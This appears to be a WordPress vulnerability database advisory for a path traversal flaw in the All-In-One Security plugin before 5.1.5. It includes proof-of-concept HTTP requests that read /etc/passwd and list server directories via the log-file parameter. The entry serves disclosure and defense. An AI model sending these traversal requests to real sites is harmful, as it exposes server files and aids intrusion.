WordPress Plugin Vulnerabilities
All-In-One Security (AIOS) < 5.1.5 - Admin+ Arbitrary File/Folder Access via Traversal
Description
The plugin does not limit what log files to display in it's settings pages, allowing an authorized user (admin+) to view the contents of arbitrary files and list directories anywhere on the server (to which the web server has access). The plugin only displays the last 50 lines of the file.
Proof of Concept
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2 Host: <host> Cookie: <cookies> Content-Length: 125 Content-Type: application/x-www-form-urlencoded _wpnonce=<nonce>&aiowps_system_log_file=..%2F..%2F..%2F..%2Fetc%2Fpasswd&aiowps_search_error_files=View+latest+system+logs POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2 Host: <host> Cookie: <cookies> Content-Length: 98 Content-Type: application/x-www-form-urlencoded _wpnonce=<nonce>&aiowps_system_log_file=..%2F&aiowps_search_error_files=View+latest+system+logs Replace values with <> signs.
Affects Plugins
References
CVE
Classification
Type
TRAVERSAL
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Bartłomiej Marek
Submitter
Bartłomiej Marek
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-03-20 (about 1 years ago)
Added
2023-03-20 (about 1 years ago)
Last Updated
2023-03-20 (about 1 years ago)